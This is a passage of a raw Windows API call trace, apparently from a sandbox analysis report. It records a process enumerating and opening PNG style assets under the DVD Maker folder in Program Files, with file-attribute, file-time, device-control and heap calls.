cAlternateFileName="")) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.068] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.068] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.068] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0068.068] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0068.068] GetLastError () returned 0x12 [0068.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0068.068] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0068.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0068.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.069] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0068.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.069] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0068.069] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0068.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa11530 [0068.069] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa11530, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa11530, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0068.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa11530) returned 1 [0068.069] NtClose (Handle=0x124) returned 0x0 [0068.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0068.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.070] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0068.106] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.106] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0068.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11548 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ee08 [0068.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.106] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11568 [0068.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11588 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ef10 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa115a8 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f018 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa115c8 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa087d8 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa115e8 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f120 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11608 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f228 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11628 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f330 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11648 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f438 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11668 [0068.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f540 [0068.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.109] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11688 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f648 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.110] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa116a8 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f750 [0068.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xc80) returned 0xa11d30 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0068.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.110] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, 